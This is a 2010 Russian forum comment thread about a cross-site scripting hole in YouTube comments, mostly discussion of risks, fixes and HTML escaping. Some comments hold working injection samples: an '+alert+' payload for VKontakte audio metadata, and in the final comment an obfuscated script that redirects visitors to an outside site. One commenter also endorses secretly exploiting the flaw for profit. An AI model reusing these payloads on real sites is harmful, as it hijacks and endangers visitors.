@rewiaca4 июл 2010 в 13:10

Уязвимость комментариев на Youtube

1 мин

5.5K

Облачные сервисы *

+106

Комментарии 81

@shinyweb 4 июл 2010 в 13:23

Самое время сменить пароли, если переходили по «инфицированным» видео и воздержаться от просмотра видео на страницах youtube.com пока уязвимость не пофиксили! Что самое страшное: в страницу вполне можно внедрить (и внедряют) Javascript код с каким-нибудь cookie-сниффером. Вот так вот, одна ошибка в коде огромного портала может привести к тотальной угрозе для всех его пользователей.

НЛО прилетело и опубликовало эту надпись здесь

@neuotq 4 июл 2010 в 14:20

У многих кстати это часть единого аккаунта гугла

НЛО прилетело и опубликовало эту надпись здесь

@Denai 4 июл 2010 в 14:32

Почту заводят не для того чтобы там спам держать, а для каких-то личных вещей. Личное — важно.

@DizzWebS 4 июл 2010 в 14:39

да не кормите тролля

@naryl 4 июл 2010 в 15:21

А нефиг почту на SaaS'ах держать ;)

НЛО прилетело и опубликовало эту надпись здесь

@psylostlife 4 июл 2010 в 18:57

Тобишь мне нужно завести трусы, чтобы чистеть зубы, когда я их почищу и начну умывать лицо — мне нужно надеть другие трусы, одену штаны — третьи, футболку — четвертныЕ, пойду покушать — пятые и так далее?
А если носки добавить?

@psylostlife 4 июл 2010 в 18:57

Извините, *чистИть*

@dioneo 5 июл 2010 в 00:27

Тобишь четвертныЕ

~~такдауШъ~~: То-бишь четвертн_ыЕ? )))

@dioneo 5 июл 2010 в 00:30

описка по Фрейду ;)

НЛО прилетело и опубликовало эту надпись здесь

@luckyredhot 5 июл 2010 в 02:05

товарищ приверженец мэйлру?

@hulinada 4 июл 2010 в 14:35

Вот если бы это предупреждение в посте перед ссылками поставили, цены бы не было =)

@egorinsk 4 июл 2010 в 17:20

Насколько я знаю, авторизация у Ютуба, как и у других сервисов Гугла, проходит только на https://google.com/account, и автоиризационные куки с ютуба не упрешь, а сессионная кука, наверно, быстро сдохнет, и теоретически мождет быть привязана к Ip адресу.

@psylostlife 4 июл 2010 в 18:58

Неприятно, если через твой аккаунт зальют ЦП и заблокируют учетную запись во всех сервисах гугла.

@dmitriy_b 4 июл 2010 в 18:29

Там стоит HttpOnly кука, так что пофиг.

@neuotq 4 июл 2010 в 13:25

а где же ссылка на нить обсуждения? ;)
PS в массы уязвимости запустили на 4chan

НЛО прилетело и опубликовало эту надпись здесь

@neuotq 4 июл 2010 в 14:17

Зачем же так грубо, а линк я дал, так как там больше примеров, следовательно яснее будет что за уязвимость, что прохдит что нет. И не надо пробовать, уже все за тебя испытали.

@SilverTH 4 июл 2010 в 13:27

Ужас.

@unreal 4 июл 2010 в 13:41

Наткнулся на это 5 минут назад.

@infi 4 июл 2010 в 13:43

Если iframe, то это жестко.

НЛО прилетело и опубликовало эту надпись здесь

@WGH 4 июл 2010 в 13:53

Ну, спереть пароли-куки-пр. через iframe нельзя.

@infi 4 июл 2010 в 13:55

Зато можно поставить связку эксплоитов, а на популярных роликах трафик очень большой.

@technocrat 4 июл 2010 в 14:12

в ie 6 можно было

@AHDPEu 4 июл 2010 в 14:10

Троянов часто через фреймы раздают.
Есть очень много партнерок, которые покупают такой трафик.
Думаю на ютубе трафика много :)

НЛО прилетело и опубликовало эту надпись здесь

@psylostlife 4 июл 2010 в 19:00

А если у меня линукс? Я не с подковыркой спрашиваю, просто интересно, чисто теоретически. Куки то оно понятно, а вот трояны пока что не для всех ведь делают?

@ioccy 4 июл 2010 в 21:07

Линукс не важен.

@AHDPEu 5 июл 2010 в 04:58

Ой да ладно вам :)
Ещё никто не отменял сплоиты под программмы для линукса. Тут дело даже не в ОС, а в том, какой софт вы используйте.
Если не с подковыркой, то я с удовольствием отвечаю на Ваш вопрос.
Ботнеты можно на сотовых телефонах, и на тостерах и холодильниках создать, что уж говорить про устройства где установлена никсоподобная ОС.
Руткиты существуют под многие ОС. Вполне возможно, с ростом популярности Убунты (это для примера) появятся с публичных связках сплоиты для получения рута, а там уже и троян не плохо будет себя чувствовать.
Всё дело времени :)

@Nesp 4 июл 2010 в 13:54

YouTube status:
[ ] Told
[x] FUCKING TOLD

@kse_ru 4 июл 2010 в 15:01

sup /g/

@Nesp 4 июл 2010 в 15:20

>implying i'm from 4chan

@EvgeniyLazarev 4 июл 2010 в 13:57

Люди ошибаются.

@psylostlife 4 июл 2010 в 19:00

Все люди ошибаются.
Все что сделано — можно сломать.
Чем проще — тем сложнее.
Первое, что пришло в голову)

НЛО прилетело и опубликовало эту надпись здесь

@Alucard 4 июл 2010 в 14:00

«Комментарии к этому видео скрыты в соответствии с настройками безопасного режима. Показать скрытые комментарии „
Оперативно видимо работают.

@Lenyarun 4 июл 2010 в 14:04

пофиксили

@rewiaca 4 июл 2010 в 14:10

не пофиксили. Просто скрыли комментарии

@kljaver 4 июл 2010 в 14:40

У меня никаких надписей красным нет. Камменты с кодом видны. :)

@tundrik 4 июл 2010 в 14:43

Красных надписей _уже_ никто не видит

@kljaver 4 июл 2010 в 14:47

Ясно.

@bizikov 4 июл 2010 в 14:09

ютубовци оперативный народ!

@azproduction 4 июл 2010 в 14:12

Просто кто-то из работников Google читает хабр или двач :)

@bizikov 4 июл 2010 в 14:16

полюбому хДД

@psylostlife 4 июл 2010 в 19:01

Наверное, им кто-то просто сообщил в техподдержку. И я считаю, что она у них круглосуточна :)
КО?

@bizikov 4 июл 2010 в 19:23

а че такое двач? мой коммент из за этого заминусовали? м

@AHDPEu 4 июл 2010 в 14:16

да на многих крупных проектах есть XSS уязвимости.
Для примера, не очень опасный xss, Вконтакте — загрузка аудиофайлов.
Если в свойствах мп3 в поле «Исполнитель» вписать '+alert+' и загрузить — выскочит алерт.

@Hint 4 июл 2010 в 14:19

Может кто-нибудь объяснить, почему это возможно? Разве YouTube позволяет вставлять в комментарии какие-либо теги (bb или html)? Если нет, то почему они просто не заменяет все html символы на спец. коды?

@NZeraF 4 июл 2010 в 14:22

гугл его знает.

@rednaxi 4 июл 2010 в 14:26

Видимо вся соль в IF_HTML_FUNCTION?
Каким то образом ломается вырезалка html

@barmaley_exe 4 июл 2010 в 16:33

Если заменять знаки <> на их HTML сущности, то ничего вырезать не надо. Не понимаю, почему зачастую предпочитают вырезать теги.

@rednaxi 4 июл 2010 в 16:35

чтобы оставить чистый текст, очевидно.

@rednaxi 4 июл 2010 в 17:37

Чего за минуса? :)

Это же очевиндо зачем вырезают html-сущности в тех местах, где их нельзя использовать.

Если человек напишет какой нибудь комментарий и использует в нем всякие и еще 100500 тегов, обычному человеку такой текст прочитать в мешанине тегов если просто заменить < и > на < > будет сложно.

Если же вырезать html-сущености совсем то останется прсто чистый неформатированный текст, который будет удобен для чтения

@barmaley_exe 4 июл 2010 в 17:43

Посмотрим со стороны пользователя:
Я хочу видеть свое сообщение так, как я его написал. Почему мне не дают писать сообщения так, как я хочу? Безопасность безопасностью, а палки в колеса пользователю вставлять не надо.
Если в комментарии стопицот тегов, то зачем его читать? Если бы автор сообщения хотел донести свою мысль, он бы не стал «обфусцировать» свой коммент.

P.S. Минусовал не я.

@rednaxi 4 июл 2010 в 17:57

ну там где нельзя использовать html обычно прямо пишут что там нельзя использовать html и => весь html вырезается.

Мне кажется это нормально. Если есть желание вставить какой-то html-код в сообщение, то для этого есть специальные теги

<pre>

@barmaley_exe 4 июл 2010 в 18:50

А если я хочу написать HTML код обычным сообщением, мне что, заменять символы <> на сущности? А если и амперсанд заменяется? Если нет никакого форматирования сообщений, они должны отображаться именно так, как написаны.

@menvil 4 июл 2010 в 14:34

А я бы не палил эту тему в паблик а использовал ее по максимуму для выжима бабла этой вкусной темы. И к черту этику и всякие бла-бла-бла о морали.

@persei 4 июл 2010 в 14:36

А потом удивляемся =)

@kastaneda 4 июл 2010 в 14:38

откуда знаете, что по максимуму уже не выжали из этой вкусной темы? )
или, возможно, эта вкусная тема лишь отвлекающий маневр от какой-нибудь другое, еще более вкусной темы

@technocrat 4 июл 2010 в 14:44

Все равно бы заметили, если делать это в промышленных масштабах. На дваче уже и так за пару часов много чего успели попробовать — даже дорвейщики подключались и похоже не безуспешно для себя… А в целом легион постарался на славу )) img408.imageshack.us/img408/1415/1278252932293.png

@startupper 4 июл 2010 в 14:52

Редирект работал успешно. Вот вариант кода редиректа на румынских хацкеров:

<script>Zbody onLoad=”document.write(‘<script>window.location = 
String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 119, 
119, 119, 46, 105, 110, 115, 101, 99, 117, 114, 105, 116,
121, 46, 114, 111, 47);</script>’);”;